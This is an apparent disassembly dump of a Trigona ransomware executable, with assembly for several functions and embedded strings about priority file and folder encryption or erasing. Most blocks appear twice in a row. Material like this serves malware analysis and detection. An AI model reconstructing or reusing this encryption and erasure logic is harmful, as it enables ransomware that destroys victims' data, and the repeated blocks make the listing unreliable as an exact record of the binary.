File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
Loading..
00450980
00450980fn_450980:
00450980push rbp
00450981push rsi
00450982push rbx
00450983sub rsp, 96
00450987mov rbp, rsp
0045098amov [rbp+56], 0
00450992mov [rbp+48], 0
0045099amov [rbp+72], 0
004509a2mov [rbp+64], 0
004509aamov [rbp+88], 0
004509b2nop
004509b3mov rax, [rip+0x13606]
004509bamov rax, [rax+768]
004509c1cmp [rax+16], 0
004509c5je 0x450c1a
004509cblea rcx, [rbp+88]
004509cfmov rax, [rip+0x134d2]
004509d6mov rdx, [rax]
004509d9call fn_40d820
004509demov rax, [rip+0x135db]
004509e5cmp [rax+308], 0
004509ecje 0x450a0c
004509eexor ecx, ecx
004509f0mov dl, 1
004509f2call fn_439060
004509f7lea rcx, [rip+670]
004509femov dl, 1
00450a00call fn_439060
00450a05xor ecx, ecx
00450a07call fn_4392a0
00450a0c
00450a0cloc_450a0c:
00450a0cxor eax, eax
00450a0emov rcx, [rip+0x135ab]
00450a15mov rcx, [rcx+768]
00450a1cmov esi, [rcx+16]
00450a1fsub esi, 1
00450a22mov ebx, eax
00450a24cmp ebx, esi
00450a26jg 0x450bda
00450a2csub esi, eax
00450a2eadd esi, 1
00450a31
00450a31loc_450a31:
00450a31mov rcx, [rip+0x13470]
00450a38mov rax, [rip+0x13581]
00450a3fmov rax, [rax+768]
00450a46mov rax, [rax+8]
00450a4amovsxd rdx, ebx
00450a4dmov rdx, [rax+8*rdx]
00450a51call fn_40d850
00450a56mov rax, [rip+0x13563]
00450a5dmov [rax+317], 0
00450a64mov rax, [rip+0x1343d]
00450a6bmov rcx, [rax]
00450a6ecall fn_42fe80
00450a73test al, al
00450a75je 0x450add
00450a77mov rax, [rip+0x13542]
00450a7ecmp [rax+308], 0
00450a85je 0x450ac9
00450a87xor ecx, ecx
00450a89mov dl, 1
00450a8bcall fn_439060
00450a90lea rcx, [rbp+72]
00450a94lea rdx, [rip+601]
00450a9bmov rax, [rip+0x13406]
00450aa2mov r8, [rax]
00450aa5call fn_40d230
00450aaalea rcx, [rbp+64]
00450aaemov rdx, [rbp+72]
00450ab2call fn_40d820
00450ab7mov rcx, [rbp+64]
00450abbmov dl, 1
00450abdcall fn_439060
00450ac2xor ecx, ecx
00450ac4call fn_4392a0
00450ac9
00450ac9loc_450ac9:
00450ac9mov rax, [rip+0x133d8]
00450ad0mov rcx, [rax]
00450ad3call fn_44e970
00450ad8jmp 0x450bcc
00450add
00450addloc_450add:
00450addmov rax, [rip+0x134dc]
00450ae4cmp [rax+307], 0
00450aebjne 0x450b41
00450aedmov rax, [rip+0x134cc]
00450af4cmp [rax+308], 0
00450afbjne 0x450b41
00450afdjmp 0x450b09
00450aff
00450affloc_450aff:
00450affmov ecx, 10000
00450b04call Sleep
00450b09
00450b09loc_450b09:
00450b09xor ecx, ecx
00450b0bxor edx, edx
00450b0dlea r8, [rip-6932]
00450b14xor r9, r9
00450b17mov [rsp+32], 0
00450b1fmov rax, [rip+0x133f2]
00450b26mov [rsp+40], rax
00450b2bcall fn_40bb20
00450b30test rax, rax
00450b33je 0x450aff
00450b35mov ecx, 5000
00450b3acall Sleep
00450b3fjmp 0x450b4f
00450b41
00450b41loc_450b41:
00450b41mov rax, [rip+0x13478]
00450b48mov [rax+317], 1
00450b4f
00450b4floc_450b4f:
00450b4fmov rax, [rip+0x1346a]
00450b56cmp [rax+308], 0
00450b5dje 0x450ba1
00450b5fxor ecx, ecx
00450b61mov dl, 1
00450b63call fn_439060
00450b68lea rcx, [rbp+56]
00450b6clea rdx, [rip+457]
00450b73mov rax, [rip+0x1332e]
00450b7amov r8, [rax]
00450b7dcall fn_40d230
00450b82lea rcx, [rbp+48]
00450b86mov rdx, [rbp+56]
00450b8acall fn_40d820
00450b8fmov rcx, [rbp+48]
00450b93mov dl, 1
00450b95call fn_439060
00450b9axor ecx, ecx
00450b9ccall fn_4392a0
00450ba1
00450ba1loc_450ba1:
00450ba1mov rax, [rip+0x13300]
00450ba8mov rcx, [rax]
00450babcall fn_44ec90
00450bb0jmp 0x450bbc
00450bb2
00450bb2loc_450bb2:
00450bb2mov ecx, 1000
00450bb7call Sleep
00450bbc
00450bbcloc_450bbc:
00450bbcmov rax, [rip+0x133fd]
00450bc3cmp [rax+317], 0
00450bcaje 0x450bb2
00450bcc
00450bccloc_450bcc:
00450bccadd ebx, 1
00450bcfsub esi, 1
00450bd2test esi, esi
00450bd4jne 0x450a31
00450bda
00450bdaloc_450bda:
00450bdanop
00450bdbmov rax, [rip+0x133de]
00450be2cmp [rax+308], 0
00450be9je 0x450c09
00450bebxor ecx, ecx
00450bedmov dl, 1
00450befcall fn_439060
00450bf4lea rcx, [rip+405]
00450bfbmov dl, 1
00450bfdcall fn_439060
00450c02xor ecx, ecx
00450c04call fn_4392a0
00450c09
00450c09loc_450c09:
00450c09mov rcx, [rip+0x13298]
00450c10mov rdx, [rbp+88]
00450c14call fn_40d850
00450c19nop
00450c1a
00450c1aloc_450c1a:
00450c1alea rcx, [rbp+48]
00450c1ecall fn_40bcf0
00450c23lea rcx, [rbp+56]
00450c27call fn_40bd90
00450c2clea rcx, [rbp+64]
00450c30call fn_40bcf0
00450c35lea rcx, [rbp+72]
00450c39call fn_40bd90
00450c3elea rcx, [rbp+88]
00450c42call fn_40bcf0
00450c47lea rsp, [rbp+96]
00450c4bpop rbx
00450c4cpop rsi
00450c4dpop rbp
00450c4eret
00450980
00450980fn_450980:
00450980push rbp
00450981push rsi
00450982push rbx
00450983sub rsp, 96
00450987mov rbp, rsp
0045098amov [rbp+56], 0
00450992mov [rbp+48], 0
0045099amov [rbp+72], 0
004509a2mov [rbp+64], 0
004509aamov [rbp+88], 0
004509b2nop
004509b3mov rax, [rip+0x13606]
004509bamov rax, [rax+768]
004509c1cmp [rax+16], 0
004509c5je 0x450c1a
004509cblea rcx, [rbp+88]
004509cfmov rax, [rip+0x134d2]
004509d6mov rdx, [rax]
004509d9call fn_40d820
004509demov rax, [rip+0x135db]
004509e5cmp [rax+308], 0
004509ecje 0x450a0c
004509eexor ecx, ecx
004509f0mov dl, 1
004509f2call fn_439060
004509f7lea rcx, [rip+670]
004509femov dl, 1
00450a00call fn_439060
00450a05xor ecx, ecx
00450a07call fn_4392a0
00450a0c
00450a0cloc_450a0c:
00450a0cxor eax, eax
00450a0emov rcx, [rip+0x135ab]
00450a15mov rcx, [rcx+768]
00450a1cmov esi, [rcx+16]
00450a1fsub esi, 1
00450a22mov ebx, eax
00450a24cmp ebx, esi
00450a26jg 0x450bda
00450a2csub esi, eax
00450a2eadd esi, 1
00450a31
00450a31loc_450a31:
00450a31mov rcx, [rip+0x13470]
00450a38mov rax, [rip+0x13581]
00450a3fmov rax, [rax+768]
00450a46mov rax, [rax+8]
00450a4amovsxd rdx, ebx
00450a4dmov rdx, [rax+8*rdx]
00450a51call fn_40d850
00450a56mov rax, [rip+0x13563]
00450a5dmov [rax+317], 0
00450a64mov rax, [rip+0x1343d]
00450a6bmov rcx, [rax]
00450a6ecall fn_42fe80
00450a73test al, al
00450a75je 0x450add
00450a77mov rax, [rip+0x13542]
00450a7ecmp [rax+308], 0
00450a85je 0x450ac9
00450a87xor ecx, ecx
00450a89mov dl, 1
00450a8bcall fn_439060
00450a90lea rcx, [rbp+72]
00450a94lea rdx, [rip+601]
00450a9bmov rax, [rip+0x13406]
00450aa2mov r8, [rax]
00450aa5call fn_40d230
00450aaalea rcx, [rbp+64]
00450aaemov rdx, [rbp+72]
00450ab2call fn_40d820
00450ab7mov rcx, [rbp+64]
00450abbmov dl, 1
00450abdcall fn_439060
00450ac2xor ecx, ecx
00450ac4call fn_4392a0
00450ac9
00450ac9loc_450ac9:
00450ac9mov rax, [rip+0x133d8]
00450ad0mov rcx, [rax]
00450ad3call fn_44e970
00450ad8jmp 0x450bcc
00450add
00450addloc_450add:
00450addmov rax, [rip+0x134dc]
00450ae4cmp [rax+307], 0
00450aebjne 0x450b41
00450aedmov rax, [rip+0x134cc]
00450af4cmp [rax+308], 0
00450afbjne 0x450b41
00450afdjmp 0x450b09
00450aff
00450affloc_450aff:
00450affmov ecx, 10000
00450b04call Sleep
00450b09
00450b09loc_450b09:
00450b09xor ecx, ecx
00450b0bxor edx, edx
00450b0dlea r8, [rip-6932]
00450b14xor r9, r9
00450b17mov [rsp+32], 0
00450b1fmov rax, [rip+0x133f2]
00450b26mov [rsp+40], rax
00450b2bcall fn_40bb20
00450b30test rax, rax
00450b33je 0x450aff
00450b35mov ecx, 5000
00450b3acall Sleep
00450b3fjmp 0x450b4f
00450b41
00450b41loc_450b41:
00450b41mov rax, [rip+0x13478]
00450b48mov [rax+317], 1
00450b4f
00450b4floc_450b4f:
00450b4fmov rax, [rip+0x1346a]
00450b56cmp [rax+308], 0
00450b5dje 0x450ba1
00450b5fxor ecx, ecx
00450b61mov dl, 1
00450b63call fn_439060
00450b68lea rcx, [rbp+56]
00450b6clea rdx, [rip+457]
00450b73mov rax, [rip+0x1332e]
00450b7amov r8, [rax]
00450b7dcall fn_40d230
00450b82lea rcx, [rbp+48]
00450b86mov rdx, [rbp+56]
00450b8acall fn_40d820
00450b8fmov rcx, [rbp+48]
00450b93mov dl, 1
00450b95call fn_439060
00450b9axor ecx, ecx
00450b9ccall fn_4392a0
00450ba1
00450ba1loc_450ba1:
00450ba1mov rax, [rip+0x13300]
00450ba8mov rcx, [rax]
00450babcall fn_44ec90
00450bb0jmp 0x450bbc
00450bb2
00450bb2loc_450bb2:
00450bb2mov ecx, 1000
00450bb7call Sleep
00450bbc
00450bbcloc_450bbc:
00450bbcmov rax, [rip+0x133fd]
00450bc3cmp [rax+317], 0
00450bcaje 0x450bb2
00450bcc
00450bccloc_450bcc:
00450bccadd ebx, 1
00450bcfsub esi, 1
00450bd2test esi, esi
00450bd4jne 0x450a31
00450bda
00450bdaloc_450bda:
00450bdanop
00450bdbmov rax, [rip+0x133de]
00450be2cmp [rax+308], 0
00450be9je 0x450c09
00450bebxor ecx, ecx
00450bedmov dl, 1
00450befcall fn_439060
00450bf4lea rcx, [rip+405]
00450bfbmov dl, 1
00450bfdcall fn_439060
00450c02xor ecx, ecx
00450c04call fn_4392a0
00450c09
00450c09loc_450c09:
00450c09mov rcx, [rip+0x13298]
00450c10mov rdx, [rbp+88]
00450c14call fn_40d850
00450c19nop
00450c1a
00450c1aloc_450c1a:
00450c1alea rcx, [rbp+48]
00450c1ecall fn_40bcf0
00450c23lea rcx, [rbp+56]
00450c27call fn_40bd90
00450c2clea rcx, [rbp+64]
00450c30call fn_40bcf0
00450c35lea rcx, [rbp+72]
00450c39call fn_40bd90
00450c3elea rcx, [rbp+88]
00450c42call fn_40bcf0
00450c47lea rsp, [rbp+96]
00450c4bpop rbx
00450c4cpop rsi
00450c4dpop rbp
00450c4eret
00450980
00450c4f
00450c4f // align 0x10
00450c4f // align 0x10
00450c50
00450c50fn_450c50:
00450c50push rbp
00450c51push rbx
00450c52sub rsp, 40
00450c56mov rbp, rsp
00450c59mov rbx, rdx
00450c5clea rcx, [rbx+48]
00450c60call fn_40bcf0
00450c65lea rcx, [rbx+56]
00450c69call fn_40bd90
00450c6elea rcx, [rbx+64]
00450c72call fn_40bcf0
00450c77lea rcx, [rbx+72]
00450c7bcall fn_40bd90
00450c80lea rcx, [rbx+88]
00450c84call fn_40bcf0
00450c89lea rsp, [rbp+40]
00450c8dpop rbx
00450c8epop rbp
00450c8fret
00450c50
00450c50fn_450c50:
00450c50push rbp
00450c51push rbx
00450c52sub rsp, 40
00450c56mov rbp, rsp
00450c59mov rbx, rdx
00450c5clea rcx, [rbx+48]
00450c60call fn_40bcf0
00450c65lea rcx, [rbx+56]
00450c69call fn_40bd90
00450c6elea rcx, [rbx+64]
00450c72call fn_40bcf0
00450c77lea rcx, [rbx+72]
00450c7bcall fn_40bd90
00450c80lea rcx, [rbx+88]
00450c84call fn_40bcf0
00450c89lea rsp, [rbp+40]
00450c8dpop rbx
00450c8epop rbp
00450c8fret
00450c50
00450c90
00450c90 b0 04 02 00 ff ff ff ff 28 00 00 00 53 00 74 00 ........(...S.t.
00450ca0 61 00 72 00 74 00 20 00 6f 00 66 00 20 00 70 00 a.r.t. .o.f. .p.
00450cb0 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 r.i.o.r.i.t.y. .
00450cc0 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 e.n.c.r.y.p.t.i.
00450cd0 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 72 00 o.n. .o.r. .e.r.
00450ce0 61 00 73 00 69 00 6e 00 67 00 2e 00 00 00 00 00 a.s.i.n.g.......
00450cf0 40 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 @...T.r.y. .t.o.
00450d00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450d10 20 00 66 00 69 00 6c 00 65 00 20 00 28 00 70 00 .f.i.l.e. .(.p.
00450d20 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 29 00 r.i.o.r.i.t.y.).
00450d30 3a 00 20 00 00 00 00 00 44 00 00 00 54 00 72 00 :. .....D...T.r.
00450d40 79 00 20 00 74 00 6f 00 20 00 65 00 6e 00 63 00 y. .t.o. .e.n.c.
00450d50 72 00 79 00 70 00 74 00 20 00 66 00 6f 00 6c 00 r.y.p.t. .f.o.l.
00450d60 64 00 65 00 72 00 20 00 28 00 70 00 72 00 69 00 d.e.r. .(.p.r.i.
00450d70 6f 00 72 00 69 00 74 00 79 00 29 00 3a 00 20 00 o.r.i.t.y.).:. .
00450d80 00 00 00 00 b0 04 02 00 ff ff ff ff 29 00 00 00 ............)...
00450d90 50 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 P.r.i.o.r.i.t.y.
00450da0 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450db0 69 00 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 i.o.n. .o.r. .e.
00450dc0 72 00 61 00 73 00 69 00 6e 00 67 00 20 00 63 00 r.a.s.i.n.g. .c.
00450dd0 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
00450de0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
00450c90 b0 04 02 00 ff ff ff ff 28 00 00 00 53 00 74 00 ........(...S.t.
00450ca0 61 00 72 00 74 00 20 00 6f 00 66 00 20 00 70 00 a.r.t. .o.f. .p.
00450cb0 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 20 00 r.i.o.r.i.t.y. .
00450cc0 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 e.n.c.r.y.p.t.i.
00450cd0 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 72 00 o.n. .o.r. .e.r.
00450ce0 61 00 73 00 69 00 6e 00 67 00 2e 00 00 00 00 00 a.s.i.n.g.......
00450cf0 40 00 00 00 54 00 72 00 79 00 20 00 74 00 6f 00 @...T.r.y. .t.o.
00450d00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450d10 20 00 66 00 69 00 6c 00 65 00 20 00 28 00 70 00 .f.i.l.e. .(.p.
00450d20 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 29 00 r.i.o.r.i.t.y.).
00450d30 3a 00 20 00 00 00 00 00 44 00 00 00 54 00 72 00 :. .....D...T.r.
00450d40 79 00 20 00 74 00 6f 00 20 00 65 00 6e 00 63 00 y. .t.o. .e.n.c.
00450d50 72 00 79 00 70 00 74 00 20 00 66 00 6f 00 6c 00 r.y.p.t. .f.o.l.
00450d60 64 00 65 00 72 00 20 00 28 00 70 00 72 00 69 00 d.e.r. .(.p.r.i.
00450d70 6f 00 72 00 69 00 74 00 79 00 29 00 3a 00 20 00 o.r.i.t.y.).:. .
00450d80 00 00 00 00 b0 04 02 00 ff ff ff ff 29 00 00 00 ............)...
00450d90 50 00 72 00 69 00 6f 00 72 00 69 00 74 00 79 00 P.r.i.o.r.i.t.y.
00450da0 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 .e.n.c.r.y.p.t.
00450db0 69 00 6f 00 6e 00 20 00 6f 00 72 00 20 00 65 00 i.o.n. .o.r. .e.
00450dc0 72 00 61 00 73 00 69 00 6e 00 67 00 20 00 63 00 r.a.s.i.n.g. .c.
00450dd0 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 64 00 o.m.p.l.e.t.e.d.
00450de0 2e 00 00 00 cc cc cc cc cc cc cc cc cc cc cc cc ................
00450df0
00450df0fn_450df0:
00450df0push rbp
00450df1sub rsp, 64
00450df5mov rbp, rsp
00450df8mov [rbp+32], 0
00450e00mov [rbp+40], rbp
00450e04mov [rbp+80], rcx
00450e08mov [rbp+88], rdx
00450e0cmov [rbp+96], r8
00450e10mov [rbp+104], r9
00450e14lea rcx, [rbp+80]
00450e18call fn_40bf00
00450e1dnop
00450e1enop
00450e1flea rcx, [rbp+32]
00450e23mov rdx, [rbp+80]
00450e27call fn_40d820
00450e2cmov rcx, [rbp+32]
00450e30call fn_422950
00450e35mov [rbp+56], rax
00450e39jmp 0x450e4b
00450e3b
00450e3b 90 90 48 8b 45 ..H.E
00450e40 58 48 89 45 38 e8 d6 a2 fb ff 90 XH.E8......
00450e4b
00450e4bloc_450e4b:
00450e4bmov rax, [rbp+56]
00450e4fcmp rax, [rbp+96]
00450e53jge 0x450e5d
00450e55mov rax, [rbp+88]
00450e59mov [rbp+56], rax
00450e5d
00450e5dloc_450e5d:
00450e5dmov rax, [rbp+56]
00450e61cmp rax, [rbp+104]
00450e65jle 0x450e6f
00450e67mov rax, [rbp+88]
00450e6bmov [rbp+56], rax
00450e6f
00450e6floc_450e6f:
00450e6fnop
00450e70lea rcx, [rbp+32]
00450e74call fn_40bcf0
00450e79lea rcx, [rbp+80]
00450e7dcall fn_40bd90
00450e82mov rax, [rbp+56]
00450e86lea rsp, [rbp+64]
00450e8apop rbp
00450e8bret
00450df0
00450df0fn_450df0:
00450df0push rbp
00450df1sub rsp, 64
00450df5mov rbp, rsp
00450df8mov [rbp+32], 0
00450e00mov [rbp+40], rbp
00450e04mov [rbp+80], rcx
00450e08mov [rbp+88], rdx
00450e0cmov [rbp+96], r8
00450e10mov [rbp+104], r9
00450e14lea rcx, [rbp+80]
00450e18call fn_40bf00
00450e1dnop
00450e1enop
00450e1flea rcx, [rbp+32]
00450e23mov rdx, [rbp+80]
00450e27call fn_40d820
00450e2cmov rcx, [rbp+32]
00450e30call fn_422950
00450e35mov [rbp+56], rax
00450e39jmp 0x450e4b
00450e3b
00450e3b 90 90 48 8b 45 ..H.E
00450e40 58 48 89 45 38 e8 d6 a2 fb ff 90 XH.E8......
00450e4b
00450e4bloc_450e4b:
00450e4bmov rax, [rbp+56]
00450e4fcmp rax, [rbp+96]
00450e53jge 0x450e5d
00450e55mov rax, [rbp+88]
00450e59mov [rbp+56], rax
00450e5d
00450e5dloc_450e5d:
00450e5dmov rax, [rbp+56]
00450e61cmp rax, [rbp+104]
00450e65jle 0x450e6f
00450e67mov rax, [rbp+88]
00450e6bmov [rbp+56], rax
00450e6f
00450e6floc_450e6f:
00450e6fnop
00450e70lea rcx, [rbp+32]
00450e74call fn_40bcf0
00450e79lea rcx, [rbp+80]
00450e7dcall fn_40bd90
00450e82mov rax, [rbp+56]
00450e86lea rsp, [rbp+64]
00450e8apop rbp
00450e8bret
00450df0
00450e8c
00450e8c 48 8d 40 00 H.@.
00450e8c 48 8d 40 00 H.@.
00450e90
00450e90fn_450e90:
00450e90sub rsp, 40
00450e94call fn_40b050
00450e99add rsp, 40
00450e9dret
00450e90
00450e90fn_450e90:
00450e90sub rsp, 40
00450e94call fn_40b050
00450e99add rsp, 40
00450e9dret
00450e90
00450e9e
00450e9e 48 90 H.
00450e9e 48 90 H.
00450ea0
00450ea0fn_450ea0:
00450ea0push rbp
00450ea1push rbx
00450ea2sub rsp, 40
00450ea6mov rbp, rsp
00450ea9mov rbx, rdx
00450eaclea rcx, [rbx+32]
00450eb0call fn_40bcf0
00450eb5lea rcx, [rbx+80]
00450eb9call fn_40bd90
00450ebelea rsp, [rbp+40]
00450ec2pop rbx
00450ec3pop rbp
00450ec4ret
00450ea0
00450ea0fn_450ea0:
00450ea0push rbp
00450ea1push rbx
00450ea2sub rsp, 40
00450ea6mov rbp, rsp
00450ea9mov rbx, rdx
00450eaclea rcx, [rbx+32]
00450eb0call fn_40bcf0
00450eb5lea rcx, [rbx+80]
00450eb9call fn_40bd90
00450ebelea rsp, [rbp+40]
00450ec2pop rbx
00450ec3pop rbp
00450ec4ret
00450ea0
00450ec5
00450ec5 // align 0x10
00450ec5 // align 0x10
00450ed0
00450ed0fn_450ed0:
00450ed0push rbp
00450ed1sub rsp, 48
00450ed5mov rbp, rsp
00450ed8mov [rbp+40], 0
00450ee0nop
00450ee1lea rcx, [rbp+40]
00450ee5mov edx, 4
00450eeacall fn_433160
00450eeflea rcx, [rbp+40]
00450ef3call fn_430a00
00450ef8mov rcx, [rip+0x13349]
00450effmov [rcx], eax
00450f01lea rcx, [rbp+40]
00450f05mov rdx, [rip-0x220ec]
00450f0ccall fn_410600
00450f11nop
00450f12lea rcx, [rbp+40]
00450f16mov rdx, [rip-0x220fd]
00450f1dcall fn_410600
00450f22lea rsp, [rbp+48]
00450f26pop rbp
00450f27ret
00450ed0
00450ed0fn_450ed0:
00450ed0push rbp
00450ed1sub rsp, 48
00450ed5mov rbp, rsp
00450ed8mov [rbp+40], 0
00450ee0nop
00450ee1lea rcx, [rbp+40]
00450ee5mov edx, 4
00450eeacall fn_433160
00450eeflea rcx, [rbp+40]
00450ef3call fn_430a00
00450ef8mov rcx, [rip+0x13349]
00450effmov [rcx], eax
00450f01lea rcx, [rbp+40]
00450f05mov rdx, [rip-0x220ec]
00450f0ccall fn_410600
00450f11nop
00450f12lea rcx, [rbp+40]
00450f16mov rdx, [rip-0x220fd]
00450f1dcall fn_410600
00450f22lea rsp, [rbp+48]
00450f26pop rbp
00450f27ret
00450ed0
00450f28
00450f28 48 8d 04 05 00 00 00 00 H.......
00450f28 48 8d 04 05 00 00 00 00 H.......
00450f30
00450f30fn_450f30:
00450f30push rbp
00450f31sub rsp, 32
00450f35mov rbp, rsp
00450f38lea rcx, [rdx+40]
00450f3cmov rdx, [rip-0x22123]
00450f43call fn_410600
00450f48lea rsp, [rbp+32]
00450f4cpop rbp
00450f4dret
00450f30
00450f30fn_450f30:
00450f30push rbp
00450f31sub rsp, 32
00450f35mov rbp, rsp
00450f38lea rcx, [rdx+40]
00450f3cmov rdx, [rip-0x22123]
00450f43call fn_410600
00450f48lea rsp, [rbp+32]
00450f4cpop rbp
00450f4dret
00450f30
00450f4e
00450f4e // align 0x10
00450f4e // align 0x10
00450f50
00450f50fn_450f50:
00450f50push rbp
00450f51sub rsp, 48
00450f55mov rbp, rsp
00450f58mov [rbp+40], 0
00450f60nop
00450f61mov rax, [rip+0x13070]
00450f68mov [rax+768], 0
00450f6fmov [rip+0x1f833], 1
00450f79jmp 0x450fd8
00450f7b
00450f7bloc_450f7b:
00450f7blea rcx, [rbp+40]
00450f7fmov edx, [rip+0x1f827]
00450f85call fn_405df0
00450f8amov rcx, [rbp+40]
00450f8elea rdx, [rip+143]
00450f95call fn_40dc90
00450f9atest eax, eax
00450f9cjne 0x450fd1
00450f9emov rax, [rip+0x13033]
00450fa5mov [rax+768], 1
00450facmov rax, [rip+0x13025]
00450fb3lea rcx, [rax+760]
00450fbamov edx, [rip+0x1f7ec]
00450fc0add edx, 1
00450fc3call fn_405df0
00450fc8add [rip+0x1f7dd], 2
00450fcfjmp 0x450fd8
00450fd1
00450fd1loc_450fd1:
00450fd1add [rip+0x1f7d4], 1
00450fd8
00450fd8loc_450fd8:
00450fd8call fn_405d70
00450fddcmp [rip+0x1f7c9], eax
00450fe3jle 0x450f7b
00450fe5nop
00450fe6lea rcx, [rbp+40]
00450feacall fn_40bcf0
00450feflea rsp, [rbp+48]
00450ff3pop rbp
00450ff4ret
00450f50
00450f50fn_450f50:
00450f50push rbp
00450f51sub rsp, 48
00450f55mov rbp, rsp
00450f58mov [rbp+40], 0
00450f60nop
00450f61mov rax, [rip+0x13070]
00450f68mov [rax+768], 0
00450f6fmov [rip+0x1f833], 1
00450f79jmp 0x450fd8
00450f7b
00450f7bloc_450f7b:
00450f7blea rcx, [rbp+40]
00450f7fmov edx, [rip+0x1f827]
00450f85call fn_405df0
00450f8amov rcx, [rbp+40]
00450f8elea rdx, [rip+143]
00450f95call fn_40dc90
00450f9atest eax, eax
00450f9cjne 0x450fd1
00450f9emov rax, [rip+0x13033]
00450fa5mov [rax+768], 1
00450facmov rax, [rip+0x13025]
00450fb3lea rcx, [rax+760]
00450fbamov edx, [rip+0x1f7ec]
00450fc0add edx, 1
00450fc3call fn_405df0
00450fc8add [rip+0x1f7dd], 2
00450fcfjmp 0x450fd8
00450fd1
00450fd1loc_450fd1:
00450fd1add [rip+0x1f7d4], 1
00450fd8
00450fd8loc_450fd8:
00450fd8call fn_405d70
00450fddcmp [rip+0x1f7c9], eax
00450fe3jle 0x450f7b
00450fe5nop
00450fe6lea rcx, [rbp+40]
00450feacall fn_40bcf0
00450feflea rsp, [rbp+48]
00450ff3pop rbp
00450ff4ret
00450f50
00450ff5
00450ff5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
00450ff5 48 8b c0 48 8d 04 05 00 00 00 00 H..H.......
00451000
00451000fn_451000:
00451000push rbp
00451001sub rsp, 32
00451005mov rbp, rsp
00451008lea rcx, [rdx+40]
0045100ccall fn_40bcf0
00451011lea rsp, [rbp+32]
00451015pop rbp
00451016ret
00451000
00451000fn_451000:
00451000push rbp
00451001sub rsp, 32
00451005mov rbp, rsp
00451008lea rcx, [rdx+40]
0045100ccall fn_40bcf0
00451011lea rsp, [rbp+32]
00451015pop rbp
00451016ret
00451000
00451017
00451017 00 b0 04 02 00 ff ff ff ff .........
00451020 06 00 00 00 2f 00 6c 00 6f 00 67 00 5f 00 66 00 ..../.l.o.g._.f.
00451030 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00451017 00 b0 04 02 00 ff ff ff ff .........
00451020 06 00 00 00 2f 00 6c 00 6f 00 67 00 5f 00 66 00 ..../.l.o.g._.f.
00451030 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc ................
00451040
00451040fn_451040:
00451040push rbp
00451041push rdi
00451042push rsi
00451043push rbx
00451044sub rsp, 88
00451048mov rbp, rsp
0045104bmov [rbp+48], 0
00451053mov [rbp+56], 0
0045105bmov [rbp+64], 0
00451063mov [rbp+72], 0
0045106bnop
0045106cmov al, 1
0045106emov [rbp+47], al
00451071mov rax, [rip+0x12f48]
00451078mov [rax+308], 0
0045107fmov rax, [rip+0x12f3a]
00451086mov [rax+309], 0
0045108dxor ebx, ebx
0045108fxor esi, esi
00451092xor edi, edi
00451095mov [rip+0x1f70d], 1
0045109fjmp 0x45113f
004510a4
004510a4loc_4510a4:
004510a4lea rcx, [rbp+72]
004510a8mov edx, [rip+0x1f6fe]
004510aecall fn_405df0
004510b3mov rcx, [rbp+72]
004510b7lea rdx, [rip+378]
004510becall fn_40dc90
004510c3test eax, eax
004510c5jne 0x4510c9
004510c7mov bl, 1
004510c9
004510c9loc_4510c9:
004510c9lea rcx, [rbp+64]
004510cdmov edx, [rip+0x1f6d9]
004510d3call fn_405df0
004510d8mov rcx, [rbp+64]
004510dclea rdx, [rip+369]
004510e3call fn_40dc90
004510e8test eax, eax
004510eaje 0x45110f
004510eclea rcx, [rbp+56]
004510f0mov edx, [rip+0x1f6b6]
004510f6call fn_405df0
004510fbmov rcx, [rbp+56]
004510fflea rdx, [rip+354]
00451106call fn_40dc90
0045110btest eax, eax
0045110djne 0x451112
0045110f
0045110floc_45110f:
0045110fmov sil, 1
00451112
00451112loc_451112:
00451112lea rcx, [rbp+48]
00451116mov edx, [rip+0x1f690]
0045111ccall fn_405df0
00451121mov rcx, [rbp+48]
00451125lea rdx, [rip+340]
0045112ccall fn_40dc90
00451131test eax, eax
00451133jne 0x451138
00451135mov dil, 1
00451138
00451138loc_451138:
00451138add [rip+0x1f66d], 1
0045113f
0045113floc_45113f:
0045113fcall fn_405d70
00451144cmp [rip+0x1f662], eax
0045114ajle 0x4510a4
00451150test bl, bl
00451152je 0x4511e8
00451158mov rax, [rip+0x12e61]
0045115fmov [rax+308], 1
00451166mov rax, [rip+0x12e53]
0045116dmov [rax+309], 1
00451174call AllocConsole
00451179test sil, sil
0045117cjne 0x4511b0
0045117exor eax, eax
00451180mov [rbp+47], al
00451183lea rcx, [rip+274]
0045118axor edx, edx
0045118ccall fn_439060
00451191lea rcx, [rip+420]
00451198xor edx, edx
0045119acall fn_439060
0045119fmov rcx, [rip+0x12f0a]
004511a6call fn_4078c0
004511abcall fn_405a40
004511b0
004511b0loc_4511b0:
004511b0test dil, dil
004511b3je 0x4511e7
004511b5xor eax, eax
004511b7mov [rbp+47], al
004511balea rcx, [rip+447]
004511c1xor edx, edx
004511c3call fn_439060
004511c8lea rcx, [rip+365]
004511cfxor edx, edx
004511d1call fn_439060
004511d6mov rcx, [rip+0x12ed3]
004511ddcall fn_4078c0
004511e2call fn_405a40
004511e7
004511e7loc_4511e7:
004511e7nop
004511e8
004511e8loc_4511e8:
004511e8lea rcx, [rbp+48]
004511ecmov edx, 4
004511f1call fn_40bdd0
004511f6movzx rax, [rbp+47]
004511fblea rsp, [rbp+88]
004511ffpop rbx
00451200pop rsi
00451201pop rdi
00451202pop rbp
